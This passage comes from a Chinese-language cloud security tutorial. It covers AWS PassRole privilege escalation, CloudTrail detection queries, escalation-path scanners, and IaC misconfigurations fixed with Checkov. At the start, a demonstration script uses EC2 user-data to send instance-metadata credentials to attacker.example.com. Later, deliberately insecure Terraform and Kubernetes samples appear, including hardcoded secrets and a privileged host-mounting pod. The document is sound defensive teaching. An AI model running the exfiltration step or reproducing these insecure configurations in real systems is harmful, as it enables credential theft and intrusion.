# 白话:把"角色"包装成"能挂到 EC2 上的形式"的容器
aws iam create-instance-profile --instance-profile-name "tmp-$$"
aws iam add-role-to-instance-profile \
  --instance-profile-name "tmp-$$" \
  --role-name "OrganizationAccountAccessRole"

echo ""
echo "[4] 启动一台 EC2,挂上这个角色"
INSTANCE_ID=$(aws ec2 run-instances \
  --image-id ami-0abcdef1234567890 \
  --instance-type t3.micro \
  --iam-instance-profile Name="tmp-$$" \
  --user-data '#!/bin/bash
    # ★★ 机器启动后自动把凭据发到攻击者的服务器
    curl -X POST https://attacker.example.com/collect \
      -d "$(curl -s -H \"X-aws-ec2-metadata-token: $(curl -s -X PUT http://169.254.169.254/latest/api/token -H \\\"X-aws-ec2-metadata-token-ttl-seconds: 21600\\\")\" http://169.254.169.254/latest/meta-data/iam/security-credentials/)" \
      --max-time 30
  ' \
  --query 'Instances[0].InstanceId' --output text)

echo "实例已启动: $INSTANCE_ID"

echo ""
echo "[5] 等待几十秒,攻击者的服务器就收到了管理员凭据"
echo ""
echo "===== ★ 防御方法 ====="
echo "  ✅ PassRole 的 Resource 必须精确到具体角色 ARN"
echo "  ✅ 用 SCP 禁止 iam:PassRole 到高权限角色"
echo "  ✅ 用 IAM Access Analyzer 的 'Unused access' 定期扫描"
echo "  ✅ CloudTrail 告警:任何 PassRole 到 Admin 角色的调用"

★ 检测:怎么发现有人在提权

-- ============================================================
-- 用 Athena 查 CloudTrail,找出可疑的提权行为
-- ★ 这是每条都值得做成定时告警的规则
-- ============================================================

-- 规则 1:★ 有人给自己(或别人)附加了管理员策略
SELECT
    eventtime,
    useridentity.arn AS who,
    requestparameters LIKE '%AdministratorAccess%' AS used_admin_policy,
    json_extract_scalar(requestparameters, '$.roleName') AS target_role,
    json_extract_scalar(requestparameters, '$.userName') AS target_user,
    sourceipaddress,
    useragent
FROM cloudtrail_logs
WHERE eventname IN (
        'AttachUserPolicy', 'AttachRolePolicy', 'AttachGroupPolicy',
        'PutUserPolicy',    'PutRolePolicy',    'PutGroupPolicy'
    )
    AND json_extract_scalar(requestparameters, '$.policyArn')
        LIKE '%AdministratorAccess%'
    AND eventtime > current_date - interval '7' day
ORDER BY eventtime DESC;

-- 规则 2:★ PassRole 到高权限角色(★ 最重要的检测规则)
SELECT
    eventtime,
    useridentity.arn AS who,
    eventname,
    json_extract_scalar(requestparameters, '$.roleArn') AS passed_role,
    sourceipaddress,
    useragent
FROM cloudtrail_logs
WHERE eventname = 'PassRole'
    AND (
        json_extract_scalar(requestparameters, '$.roleArn') LIKE '%Admin%'
        OR json_extract_scalar(requestparameters, '$.roleArn') LIKE '%OrganizationAccountAccess%'
        OR json_extract_scalar(requestparameters, '$.roleArn') LIKE '%PowerUser%'
    )
    AND eventtime > current_date - interval '7' day
ORDER BY eventtime DESC;

-- 规则 3:★ 创建了 IAM 用户 / AK(持久化信号)
SELECT
    eventtime,
    useridentity.arn AS who,
    eventname,
    json_extract_scalar(requestparameters, '$.userName') AS new_user,
    sourceipaddress
FROM cloudtrail_logs
WHERE eventname IN ('CreateUser', 'CreateAccessKey', 'CreateLoginProfile', 'UpdateLoginProfile')
    AND useridentity.type <> 'Root'
    AND eventtime > current_date - interval '7' day
ORDER BY eventtime DESC;

-- 规则 4:★ 修改 Lambda 函数代码(C1 提权手法)
SELECT
    eventtime,
    useridentity.arn AS who,
    json_extract_scalar(requestparameters, '$.functionName') AS func,
    sourceipaddress,
    useragent
FROM cloudtrail_logs
WHERE eventname IN ('UpdateFunctionCode', 'UpdateFunctionConfiguration')
    AND eventtime > current_date - interval '7' day
ORDER BY eventtime DESC;

★ 开源工具:自动发现提权路径

# ============================================================
# 工具 1:PMapper(Principal Mapper)★★ 最推荐
# ============================================================
# 白话:把整个账号的权限关系画成一张图,
#       然后自动算出"从 A 能不能走到 Administrator"

pip install principalmapper

# 建图(会调大量 IAM API,需要只读权限)
pmapper --account 123456789012 graph create

# ★ 查询:谁可以提权到管理员?
pmapper --account 123456789012 query "who can do iam:* with *"

# ★ 更直接:找出所有能拿到 admin 的路径
pmapper --account 123456789012 analysis --output-type text

# 输出示例:
#   user/alice can access user/bob via privesc
#     path: user/alice → role/DevRole → (iam:PutUserPolicy) → admin
#   ★ 这就告诉你:alice 虽然现在权限小,但她能提权到管理员

# ============================================================
# 工具 2:Cloudsplaining(★ 生成漂亮的 HTML 报告给老板看)
# ============================================================
pip install cloudsplaining

# 下载账号的授权信息
aws iam get-account-authorization-details > authz.json

# 扫描
cloudsplaining scan --input-file authz.json --output results/

# 打开 results/index.html
# ★ 报告里会标红所有 "*" 权限、数据泄露风险、可被提权的主体

# ============================================================
# 工具 3:Prowler(★ 综合合规扫描,几百条检查项)
# ============================================================
pip install prowler-cloud

prowler aws --checks iam_* --severity critical high
prowler aws --compliance cis_2.0_aws    # CIS 基线合规检查

10.2.8 多云 / 混合云:身份打通的风险

场景:公司同时用了 AWS 和阿里云,想把身份打通(一套登录走两边)

做法:在阿里云建一个【OIDC 身份提供商】,信任 AWS 的角色
     (或者反过来)

★ 风险点:
  ① 【信任链变长,一处错全线崩】
     AWS 角色的信任策略写宽了 → 阿里云这边也被打通

  ② ★【审计分散】
     AWS 的 CloudTrail 和阿里云的操作审计是两套系统
     → 出事后要拉两份日志对齐时间戳(时区、格式都不一样)
     → ★ 建议:统一采集到 SIEM,统一时间字段

  ③ 【凭据格式不统一,容易搞混】
     AWS 的临时凭据是三元组(AK/SK/Token)
     阿里云的也是三元组,但字段名不同
     GCP 用的是 OAuth2 Bearer Token
     → 代码里容易写错,导致"看起来能跑但其实在用长期密钥"

★ 建议:
  - 尽量【减少跨云信任】,只在必要时打通
  - 每朵云内部独立做最小权限
  - 用统一的 CI/CD 入口(而不是互相 AssumeRole)
  - ★ 审计日志必须集中,否则出事时你根本拼不出完整故事

10.3 基础设施即代码(IaC)安全

★ 一句话:IaC 是安全团队梦寐以求的落点—— 因为它是唯一一个能在“资源被创建出来之前”就拦住错误的环节。

10.3.1 IaC 是什么,为什么它对安全如此重要

★ 名词:IaC(Infrastructure as Code,基础设施即代码) 白话:用写代码的方式描述“我要什么样的服务器、网络、数据库”, 然后工具自动帮你把它们建出来。

★ 名词:Terraform 白话:最流行的 IaC 工具(HashiCorp 出品),用一种叫 HCL 的语言写配置, 能同时管理 AWS、阿里云、K8s、甚至 GitHub 仓库。

★ 名词:Ansible / Pulumi / CloudFormation / 阿里云 ROS / 腾讯云 TIC 白话:同类的其他工具。

  • Ansible:偏“配置管理”(装软件、改配置)
  • Pulumi:用真正的编程语言(Python/Go/TS)写 IaC
  • CloudFormation:AWS 原生的
★ 传统方式 vs IaC

  传统(手工点控制台 / 跑脚本):
  ┌────────────────────────────────────────────┐
  │ 运维登录控制台 → 点 20 次鼠标 → 建好一台机器  │
  │                                             │
  │ ★ 问题:                                    │
  │   ① 下次还得再点一遍(不可复制)             │
  │   ② 两个月后没人记得当时点了什么             │
  │   ③ 生产环境和测试环境的配置悄悄走偏         │
  │   ④ ★ 改错了没法回滚,也没法 review         │
  └────────────────────────────────────────────┘

  IaC:
  ┌────────────────────────────────────────────┐
  │ 写一个 .tf 文件 → git commit → terraform apply │
  │                                             │
  │ ★ 好处(对安全的意义):                     │
  │   ① 配置【变成了代码】→ 可以做 Code Review   │
  │   ② ★ 可以在 CI 里自动扫描(★ 这就是本节重点)│
  │   ③ 有 git 历史 → 谁在什么时候改了什么一清二楚│
  │   ④ 可重复 → 测试环境和生产环境一模一样      │
  └────────────────────────────────────────────┘

★★★ 为什么 IaC 是安全的"最佳落点":

    安全防线的三个时机:
      ① 写代码时(左移)      → 成本最低,改一行就行
      ② 部署时                 → 成本中等,要重新走流程
      ③ 运行时(已经出事了)   → 成本最高,要应急响应

    IaC 让"基础设施配置错误"这个【云上第一大安全问题】
    从"只能在 ③ 运行时发现"提前到了"① 写代码时"

    ★ 生活类比:
      以前是"房子盖好了才发现没消防通道"(要拆)
      现在是"看图纸的时候就发现没消防通道"(改图纸,不要钱)

10.3.2 IaC 的八大风险模式(真实代码 + 修复)

风险 1:硬编码密钥(★ 最最常见)

# ❌❌❌ 灾难级错误
resource "aws_db_instance" "main" {
  identifier = "prod-mysql"
  username   = "admin"
  password   = "P@ssw0rd123!"        # ★★★ 明文密码进了 git

  # 更常见的变体:
  # password = var.db_password       # 然后 terraform.tfvars 里写了明文
  #                                  # ★ 而 tfvars 经常被误提交
}

provider "alicloud" {
  access_key = "LTAI5tQzd4mK8vXn2pLb7YcR"   # ★ 长期 AK 直接写死
  secret_key = "8Kj2mN5pQr7sT9vW1xY3zA5bC7dE9fG"
}
★ 为什么这么严重(比普通代码里的硬编码密钥更严重):

  ① ★ tfstate 文件里【全是明文】
     即使你用变量(var.db_password),Terraform 执行完后,
     ★ 所有敏感值都会以明文形式存在 terraform.tfstate 里
     → tfstate 通常存在 S3/OSS 上
     → ★ 如果这个桶权限配错了,所有密钥全泄露

  ② 密钥会进入 CI 日志
     terraform plan 的输出里可能显示敏感值
     → 而很多公司的 CI 日志是全员可读的

  ③ git 历史永久留存
     ★ 删掉重写提交也没用,历史里还在
# ✅ 正确做法一:引用密钥管理服务(★ 推荐)
data "aws_secretsmanager_secret_version" "db" {
  secret_id = "prod/mysql/admin-password"
}

resource "aws_db_instance" "main" {
  identifier = "prod-mysql"
  username   = "admin"
  password   = jsondecode(data.aws_secretsmanager_secret_version.db.secret_string)["password"]

  # ★ 关键:标记为 sensitive,避免出现在 plan 输出里
  lifecycle {
    ignore_changes = [password]   # 防止每次 plan 都显示变更
  }
}

# ✅ 正确做法二:变量 + 标记为敏感 + 从环境变量/CI 注入
variable "db_password" {
  type      = string
  sensitive = true          # ★ 加这个,plan 输出会显示 (sensitive value)
  # ★ 注意:这只是"不显示",tfstate 里依然是明文!
}

# 运行:
#   export TF_VAR_db_password="$(aws secretsmanager get-secret-value --secret-id ... )"
#   terraform apply

# ✅ 正确做法三(★ 治本):根本不用密码,用 IAM 认证
resource "aws_db_instance" "main" {
  identifier     = "prod-mysql"
  username       = "admin"
  # ★ 不设 password,改用 IAM 数据库认证
  iam_database_authentication_enabled = true
  # → 应用用 IAM 角色换临时 token 连数据库,不需要密码
}
# ★ 必须做:加密 + 保护 tfstate
# ============================================================

# ① 用远程 state 且开启加密 + 版本控制 + 禁止删除
terraform {
  backend "s3" {
    bucket                  = "mycompany-tfstate"
    key                     = "prod/terraform.tfstate"
    region                  = "cn-north-1"
    encrypt                 = true                  # ★ 必须
    kms_key_id              = "arn:aws:kms:...:key/xxx"
    dynamodb_table          = "tf-lock"             # ★ 加锁,防并发

    # ★ 阿里云的话用 OSS + OTS
  }
}

# ② 桶策略:禁止非加密上传 + 禁止删除 + 强制 SSL
resource "aws_s3_bucket_server_side_encryption_configuration" "tfstate" {
  bucket = aws_s3_bucket.tfstate.id
  rule {
    apply_server_side_encryption_by_default {
      sse_algorithm     = "aws:kms"
      kms_master_key_id = aws_kms_key.tfstate.arn
    }
  }
}

resource "aws_s3_bucket_versioning" "tfstate" {
  bucket = aws_s3_bucket.tfstate.id
  versioning_configuration { status = "Enabled" }   # ★ 防误删
}

resource "aws_s3_bucket_public_access_block" "tfstate" {
  bucket                  = aws_s3_bucket.tfstate.id
  block_public_acls       = true        # ★ 四条全开
  block_public_policy     = true
  ignore_public_acls      = true
  restrict_public_buckets = true
}

# ③ ★ 在 pre-commit 里拦住 tfvars
cat > .pre-commit-config.yaml <<'EOF'
repos:
  - repo: https://github.com/antonbabenko/pre-commit-terraform
    rev: v1.83.5
    hooks:
      - id: terraform_fmt
      - id: terraform_validate
      - id: terraform_tfsec
  - repo: https://github.com/gitleaks/gitleaks
    rev: v8.18.0
    hooks:
      - id: gitleaks
EOF

风险 2:存储桶/对象存储公开

# ❌ 危险:公开读(数据泄露)
resource "aws_s3_bucket_acl" "data" {
  bucket = aws_s3_bucket.data.id
  acl    = "public-read"            # ★★★ 任何人都能下载
}

# ❌❌ 更危险:公开读写
resource "aws_s3_bucket_acl" "data" {
  bucket = aws_s3_bucket.data.id
  acl    = "public-read-write"      # ★★★ 任何人都能上传!会被挂马、存盗版
}

# ❌ 危险:桶策略允许任何人
resource "aws_s3_bucket_policy" "bad" {
  bucket = aws_s3_bucket.data.id
  policy = jsonencode({
    Statement = [{
      Effect    = "Allow"
      Principal = "*"               # ★★★ 全世界
      Action    = "s3:*"
      Resource  = "*"
    }]
  })
}
★ 真实事故类型:
  - 备份桶公开 → 数据库备份被拖走(★ 最常见的云数据泄露原因)
  - 静态网站桶配了 ListBucket → 目录被遍历
  - 用户上传桶允许 public-read-write → 被当成免费网盘、挂马、存违规内容

★ 为什么容易配错:
  S3 的访问控制有【四套独立机制】,很多人搞不清:
    ① ACL(老的,已不推荐)
    ② Bucket Policy(资源策略)
    ③ IAM Policy(身份策略)
    ④ Block Public Access(★ 总开关,优先级最高)
  ★ 结论:直接把 Block Public Access 四条全开,一了百了
# ✅ 正确做法:默认全私有,需要公开的部分用 CloudFront/OSS 静态网站托管

resource "aws_s3_bucket_public_access_block" "data" {
  bucket                  = aws_s3_bucket.data.id
  block_public_acls       = true
  block_public_policy     = true       # ★ 就算桶策略写了 Principal:* 也不生效
  ignore_public_acls      = true
  restrict_public_buckets = true
}

# 需要公开访问的场景:用 CDN + OAC(Origin Access Control)
# ★ 用户只能访问 CDN,不能直接访问源站桶
resource "aws_cloudfront_origin_access_control" "main" {
  name                              = "oac-${var.env}"
  origin_access_control_origin_type  = "s3"
  signing_behavior                  = "always"
  signing_protocol                  = "sigv4"
}

风险 3:安全组 / 防火墙 0.0.0.0/0

# ❌ 危险:SSH 对全世界开放
resource "aws_security_group_rule" "ssh" {
  type              = "ingress"
  from_port         = 22
  to_port           = 22
  protocol          = "tcp"
  cidr_blocks       = ["0.0.0.0/0"]      # ★★★ 全世界都能连
  security_group_id = aws_security_group.web.id
}

# ❌ 更危险:数据库端口对全世界开放
resource "aws_security_group_rule" "mysql" {
  type              = "ingress"
  from_port         = 3306
  to_port           = 3306
  protocol          = "tcp"
  cidr_blocks       = ["0.0.0.0/0"]      # ★★★ 数据库直接暴露
}

# ❌ 最危险:所有端口对所有 IP
resource "aws_security_group_rule" "all" {
  type              = "ingress"
  from_port         = 0
  to_port           = 65535
  protocol          = "-1"
  cidr_blocks       = ["0.0.0.0/0"]
}
★ 风险量化(真实数据):
  一台开了 22 端口 0.0.0.0/0 的云主机,
  ★ 平均 5 分钟内就会收到第一次 SSH 暴力破解
  ★ 24 小时内会被扫描到几十种漏洞探测(这些都是自动化的僵尸网络)

  一台开了 3306 / 6379 / 27017 的机器:
  ★ Redis 未授权访问 → 几分钟内被写入挖矿脚本
  ★ MongoDB 未授权 → 被勒索(删库 + 留 "send BTC to..." 的库)

★ 常见的"自以为安全"的错误:
  "我改了 SSH 端口到 2222,所以安全了"
  → ★ 完全没用。扫描器是全端口扫的,改端口只能减少 99% 的【低级】扫描,
     但针对你的扫描一样能找到。
  → 真正的解法:不要直接暴露,用堡垒机 / VPN / SSM Session Manager
# ✅ 正确做法一:限定来源 IP(办公网出口)
resource "aws_security_group_rule" "ssh_from_office" {
  type              = "ingress"
  from_port         = 22
  to_port           = 22
  protocol          = "tcp"
  cidr_blocks       = ["203.0.113.0/24"]    # ★ 公司办公网出口 IP
  description       = "SSH from office only"
  security_group_id = aws_security_group.web.id
}

# ✅ 正确做法二(★ 推荐):根本不开 SSH 端口,用 SSM
resource "aws_iam_role_policy_attachment" "ssm" {
  role       = aws_iam_role.ec2.name
  policy_arn = "arn:aws:iam::aws:policy/AmazonSSMManagedInstanceCore"
}
# 然后:aws ssm start-session --target i-xxxxx
# ★ 好处:不用管密钥、不用开端口、所有操作有审计日志

# ✅ 正确做法三:数据库只对应用层安全组开放(★ 用 SG 引用而非 IP)
resource "aws_security_group_rule" "mysql_from_app" {
  type                     = "ingress"
  from_port                = 3306
  to_port                  = 3306
  protocol                 = "tcp"
  source_security_group_id = aws_security_group.app.id   # ★ 只允许 app 层
  security_group_id        = aws_security_group.db.id
}

# ✅ 正确做法四:安全组规则必须写 description(★ 三个月后你会感谢自己)

风险 4:未加密(静态 / 传输)

# ❌ 危险:EBS 卷未加密
resource "aws_ebs_volume" "data" {
  availability_zone = "cn-north-1a"
  size              = 100
  # ★ 没有 encrypted = true
}

# ❌ 危险:RDS 未加密
resource "aws_db_instance" "main" {
  # storage_encrypted 默认是 false!
  storage_encrypted = false
}

# ❌ 危险:S3 无加密
resource "aws_s3_bucket" "data" {
  bucket = "my-data"   # ★ 没有 server_side_encryption_configuration
}
★★★ 一个很多人不知道的关键点:

  ★ 【创建后再开启加密,数据不会被自动加密】
     对 RDS:开启加密会触发快照 + 重建,需要停机
     对 EBS:必须打快照 → 复制快照并加密 → 用加密快照建新卷

  ★ 所以:必须在【创建时】就开启,事后补救代价极大

  ★ 另一个坑:就算开了加密,用的是【默认 KMS 密钥】
     → 那么账号里任何有 kms 权限的人都能解密
     → ★ 生产环境应该用【客户托管密钥(CMK)】,并限制谁能用
# ✅ 正确:创建时加密 + 用 CMK + 开启传输加密
resource "aws_kms_key" "data" {
  description             = "prod data encryption"
  deletion_window_in_days = 30
  enable_key_rotation     = true        # ★ 自动轮换
}

resource "aws_db_instance" "main" {
  identifier             = "prod-mysql"
  storage_encrypted      = true         # ★ 静态加密
  kms_key_id             = aws_kms_key.data.arn

  # ★ 强制 SSL 连接(传输加密)
  parameter_group_name   = aws_db_parameter_group.force_ssl.name
}

resource "aws_db_parameter_group" "force_ssl" {
  name   = "force-ssl"
  family = "mysql8.0"
  parameter {
    name  = "require_secure_transport"
    value = "ON"          # ★ MySQL 8.0 用这个
  }
}

风险 5:日志未开启(★ 出事后无法溯源)

# ❌ 危险:这些"默认关闭"的日志
#   - CloudTrail(云操作审计)      ★ 默认只保留 90 天事件历史,且不含数据面事件
#   - VPC Flow Logs(网络流量日志)  ★ 默认关闭
#   - S3 访问日志                   ★ 默认关闭
#   - RDS 审计日志                  ★ 默认关闭
#   - ELB 访问日志                  ★ 默认关闭
#   - WAF 日志                      ★ 默认关闭
★★★ 为什么这是"最贵"的错误:

  出事之后,所有人都会问同一个问题:
      "他到底做了什么?数据有没有被拿走?"

  如果你没有 CloudTrail:
      ★ 你无法回答这个问题
      ★ 你只能按"最坏情况"处理(全部重置、全部通知用户)
      ★ 合规审计直接不通过(等保 2.0 / ISO27001 都要求审计日志)

  ★ 生活类比:
    没开日志 = 家里没装监控。
    平时省了几百块,出事之后你连"是内鬼还是外贼"都判断不了。
# ✅ 完整的日志基线(生产环境必备)

# ① CloudTrail(★ 最重要)
resource "aws_cloudtrail" "main" {
  name                          = "org-trail"
  s3_bucket_name                = aws_s3_bucket.audit.id
  include_global_service_events = true     # ★ IAM 等全球服务的事件
  is_multi_region_trail         = true     # ★ 所有区域
  enable_log_file_validation    = true     # ★ 日志文件完整性校验(防篡改)
  cloud_watch_logs_group_arn    = "${aws_cloudwatch_log_group.trail.arn}:*"
  cloud_watch_logs_role_arn     = aws_iam_role.trail.arn
  kms_key_id                    = aws_kms_key.audit.arn

  event_selector {
    read_write_type           = "All"
    include_management_events = true

    data_resource {
      type   = "AWS::S3::Object"
      values = ["arn:aws:s3:::prod-data/"]    # ★ 敏感桶的数据面事件(GetObject)
    }
  }
}

# ② VPC Flow Logs
resource "aws_flow_log" "vpc" {
  iam_role_arn    = aws_iam_role.flow_log.arn
  log_destination = aws_cloudwatch_log_group.flow.arn
  traffic_type    = "ALL"          # ★ ACCEPT + REJECT(REJECT 对排查很有用)
  vpc_id          = aws_vpc.main.id
}

# ③ ELB 访问日志
resource "aws_lb" "main" {
  access_logs {
    bucket  = aws_s3_bucket.logs.id
    prefix  = "alb"
    enabled = true                  # ★ 默认是 false
  }
}

# ④ ★ 日志文件本身必须防删除(对象锁 / 合规模式)
resource "aws_s3_bucket" "audit" {
  bucket              = "mycompany-audit-logs"
  object_lock_enabled = true            # ★★ 创建时就要开
}

resource "aws_s3_bucket_object_lock_configuration" "audit" {
  bucket = aws_s3_bucket.audit.id
  rule {
    default_retention {
      mode = "COMPLIANCE"      # ★★ COMPLIANCE 模式:谁都删不掉,包括 root
      days = 365
    }
  }
}
# ★ 这一招能防住攻击者"清日志" —— 他连 root 权限都删不掉

风险 6:IAM 通配符与管理员策略

# ❌ 危险
resource "aws_iam_role_policy_attachment" "lambda" {
  role       = aws_iam_role.lambda.name
  policy_arn = "arn:aws:iam::aws:policy/AdministratorAccess"    # ★★★
}

resource "aws_iam_policy" "bad" {
  policy = jsonencode({
    Statement = [{
      Effect   = "Allow"
      Action   = ["*"]          # ★★★
      Resource = ["*"]          # ★★★
    }]
  })
}

风险 7:K8s 资源里的危险配置

# ❌ 危险:特权容器 = 事实上的宿主机 root
apiVersion: v1
kind: Pod
metadata:
  name: bad-pod
spec:
  hostNetwork: true        # ★ 用宿主机网络(能访问所有 Pod 和节点服务)
  hostPID: true            # ★ 能看到宿主机所有进程(能 kill 节点上的任何进程)
  hostIPC: true
  containers:
  - name: c
    image: nginx
    securityContext:
      privileged: true     # ★★★ 特权模式:拥有宿主机所有 capabilities
      allowPrivilegeEscalation: true
      runAsUser: 0         # ★ 以 root 运行
      capabilities:
        add: ["ALL"]       # ★★★
    volumeMounts:
    - name: host
      mountPath: /host
  volumes:
  - name: host
    hostPath:
      path: /              # ★★★ 挂载宿主机根目录 → 可以改 /etc/shadow

★ 名词:privileged(特权容器) 白话:容器本来是“笼子里的进程”,开了特权就等于把笼子拆了。 ★ 特权容器能看到宿主机的所有设备,能加载内核模块, 从特权容器逃到宿主机,只需要 3 条命令(见 10.4.7)。

风险 8:容器镜像使用 latest 标签

# ❌ 危险
image: nginx:latest         # ★ 每次拉取可能不一样,无法追溯、无法回滚
image: myapp               # ★ 不写 tag 就等于 latest

# ✅ 正确:用 digest(最严格)或明确的语义化版本 + 签名
image: nginx@sha256:4c1f8e7d...        # ★★ 内容寻址,永远一致
image: myregistry.com/myapp:v1.2.3
★ 为什么 latest 危险:
  ① 【不可复现】今天部署的和明天部署的可能不是一个东西
  ② 【无法回滚】出事后你想回滚到"上一个版本",但上一个版本是什么?
  ③ ★【供应链攻击】如果你的基础镜像被投毒,latest 会立刻拉到恶意版本
     → 而用固定 tag + 签名,至少你能控制升级时机

10.3.3 Checkov 实战(★ 最推荐入门的工具)

★ 名词:Checkov(PrismaCloud 出品,开源) 白话:IaC 的“拼写检查器”。 你写 Terraform / K8s YAML / Dockerfile / CloudFormation, 它自动检查里面有没有安全配置错误,目前有 1000+ 条内置规则。

# 安装
pip install checkov

# ============================================================
# 基本用法
# ============================================================

# 扫当前目录(自动识别 terraform / k8s / dockerfile / helm)
checkov -d .

# 输出示例(★ 读懂这个输出很重要):
#   terraform scan results:
#   Passed checks: 47, Failed checks: 8, Skipped checks: 0
#
#   Check: CKV_AWS_20: "S3 Bucket has an ACL defined which allows public READ access."
#     FAILED for resource: aws_s3_bucket.data
#     File: /main.tf:12-18
#     Guide: https://docs.prismacloud.io/en/...
#
#        12 | resource "aws_s3_bucket_acl" "data" {
#        13 |   bucket = aws_s3_bucket.data.id
#        14 |   acl    = "public-read"        ← ★ 就是这一行
#        15 | }

# ============================================================
# 常用参数
# ============================================================

# 只看高危(★ CI 里推荐)
checkov -d . --severity HIGH --severity CRITICAL

# 输出成 JUnit XML(集成到 CI 的测试报告)
checkov -d . -o junitxml > results.xml

# 输出 SARIF(GitHub Code Scanning 能直接显示)
checkov -d . -o sarif > results.sarif

# ★ 只检查指定框架
checkov -d . --framework terraform

# ★ 跳过某些检查(必须写理由!)
checkov -d . --skip-check CKV_AWS_20,CKV_AWS_21

# ★ 生成基线(只报告"新增"的问题,存量问题先记账)
#    这是让老项目能落地的关键技巧(见下)
checkov -d . --create-baseline
checkov -d . --baseline .checkov.baseline    # 后续只报新问题

★ 让 Checkov 在老项目里落地的正确姿势

问题:一个跑了 3 年的老项目,第一次跑 checkov 报了 400 个问题
     → 开发说"太多了,改不动"
     → 于是这个工具被搁置,再也没人用
     ★ 这是安全工具落地失败的最常见原因

✅ 正确做法(三步走):

  第一步:【建立基线,止血】
      checkov -d . --create-baseline
      # 把 400 个存量问题"记账",CI 里挂 --baseline
      # → CI 只会在【新增问题】时失败
      # → ★ 保证"不再变坏",这是最重要的

  第二步:【分期清理存量】
      按严重度排序,先清 CRITICAL(一般就 5~10 个),
      每个迭代清 20 个,写进 sprint 计划
      ★ 不要一次性清完,会拖垮业务迭代

  第三步:【把高危规则设为硬性门禁】
      只对 CRITICAL + HIGH 设为 --hard-fail-on
      MEDIUM/LOW 只警告不阻塞
      ★ 这样开发不会觉得"安全在添乱"
# ============================================================
# GitHub Actions 集成(完整可用)
# ============================================================
name: IaC Security Scan

on:
  pull_request:
    paths:
      - 'terraform/**'
      - 'k8s/**'
      - 'Dockerfile'

jobs:
  checkov:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
        with:
          fetch-depth: 0          # ★ Checkov 做增量扫描需要完整历史

      - name: Run Checkov
        id: checkov
        uses: bridgecrewio/checkov-action@master
        with:
          directory: terraform/
          framework: terraform
          quiet: true
          # ★ 只对高危失败,中低危只警告
          soft_fail_on: MEDIUM,LOW
          hard_fail_on: HIGH,CRITICAL
          output_format: sarif
          output_file_path: results.sarif

      - name: ★ 把结果上传到 GitHub Security 面板
        if: always()
        uses: github/codeql-action/upload-sarif@v3
        with:
          sarif_file: results.sarif

      - name: ★ 在 PR 里评论(让开发不用去翻日志)
        if: failure()
        uses: actions/github-script@v7
        with:
          script: |
            github.rest.issues.createComment({
              issue_number: context.issue.number,
              owner: context.repo.owner,
              repo: context.repo.repo,
              body: '✗ IaC 安全检查未通过,请在 Actions 面板查看 Security 标签页的具体问题。'
            })

★ 写自定义规则(公司规范落地的关键)

# ============================================================
# checkov 自定义规则:要求所有资源必须带 env 和 owner 标签
# 文件:custom_checks/require_tags.py
# ============================================================
from checkov.common.models.enums import CheckResult, CheckCategories
from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck

class RequireMandatoryTags(BaseResourceCheck):
    def __init__(self):
        name = "所有资源必须带 env / owner / cost-center 标签"
        id = "CKV_CUSTOM_1"
        supported_resources = ["*"]          # ★ 支持所有资源类型
        categories = [CheckCategories.GENERAL_SECURITY]
        super().__init__(
            name=name, id=id, categories=categories,
            supported_resources=supported_resources
        )

    def scan_resource_conf(self, conf, entity_type):
        """
        conf = 这个资源的配置字典
        返回 PASSED / FAILED / UNKNOWN
        """
        # ★ Terraform 里标签可能写成 tags 或 tags_all
        tags = conf.get("tags") or conf.get("tags_all")
        if tags is None:
            return CheckResult.FAILED

        # ★ tags 在 HCL 解析后可能是 [{"env": ["prod"]}] 这种嵌套结构
        if isinstance(tags, list) and tags:
            tags = tags[0]

        if not isinstance(tags, dict):
            return CheckResult.UNKNOWN

        required = ["env", "owner", "cost-center"]
        missing = [t for t in required if t not in tags]

        if missing:
            # ★ 把这个信息存起来,报告里会显示
            self.evaluated_keys = [f"tags/{m}" for m in missing]
            return CheckResult.FAILED

        return CheckResult.PASSED

check = RequireMandatoryTags()
# 使用自定义规则
checkov -d . --external-checks-dir custom_checks/

# ★ 调试技巧:用 --compact 或者写成 YAML 规则(更简单,推荐新手)
# ============================================================
# ★ 更简单的方式:YAML 自定义规则(推荐,不用写 Python)
# 文件:custom_checks/deny_admin_policy.yaml
# ============================================================
metadata:
  name: "禁止使用 AdministratorAccess 托管策略"
  id: "CKV_CUSTOM_2"
  category: "IAM"
  severity: "CRITICAL"
definition:
  cond_type: "attribute"
  resource_types:
    - "aws_iam_role_policy_attachment"
    - "aws_iam_user_policy_attachment"
    - "aws_iam_group_policy_attachment"
  attribute: "policy_arn"
  operator: "not_contains"
  value: "AdministratorAccess"
---
metadata:
  name: "安全组不允许 0.0.0.0/0 开放 22 端口"
  id: "CKV_CUSTOM_3"
  category: "NETWORKING"
  severity: "CRITICAL"
definition:
  and:
    - cond_type: "attribute"
      resource_types: ["aws_security_group_rule"]
      attribute: "cidr_blocks"
      operator: "contains"
      value: "0.0.0.0/0"
    - cond_type: "attribute"
      resource_types: ["aws_security_group_rule"]
      attribute: "from_port"
      operator: "equals"
      value: "22"
  # ★ 这写的是"命中即失败",所以要反过来理解:
  #   当 cidr=0.0.0.0/0 且 from_port=22 时,这个 cond 成立 → 报失败

10.3.4 四大 IaC 扫描工具对比

┌─────────────┬────────────┬──────────────────────┬──────────────────────┐
│ 工具         │ 出品方      │ 特点                  │ 适合场景              │
├─────────────┼────────────┼──────────────────────┼──────────────────────┤
│ ★ Checkov   │ PrismaCloud│ 规则最多(1000+)      │ ★ 首选,覆盖最全      │
│             │ (Palo Alto)│ 支持 YAML 自定义规则   │ 支持 terraform/k8s/   │
│             │            │ 支持基线(★ 关键优势) │ dockerfile/CF/helm    │
├─────────────┼────────────┼──────────────────────┼──────────────────────┤
│ tfsec       │ Aqua       │ 速度快(Go 写的)      │ 纯 Terraform 项目     │
│             │ Security   │ 输出美观               │ 想要快速的扫描        │
│             │            │ ★ 已被合并进 Trivy     │                      │
├─────────────┼────────────┼──────────────────────┼──────────────────────┤
│ KICS        │ Check Point│ 支持语言最多(15+)    │ 混合技术栈            │
│             │            │ 平台+语言覆盖广        │ 有 Ansible/Pulumi     │
├─────────────┼────────────┼──────────────────────┼──────────────────────┤
│ Terrascan   │ Tenable    │ 支持 Rego 写规则       │ 已经在用 OPA 的团队   │
│             │            │ 可当准入控制器         │                      │
├─────────────┼────────────┼──────────────────────┼──────────────────────┤
│ ★ Trivy     │ Aqua       │ ★ 全能:IaC + 镜像     │ ★ 想要一个工具搞定    │
│ (config)    │            │ + 依赖 + 密钥 + SBOM   │ 全部场景              │
└─────────────┴────────────┴──────────────────────┴──────────────────────┘

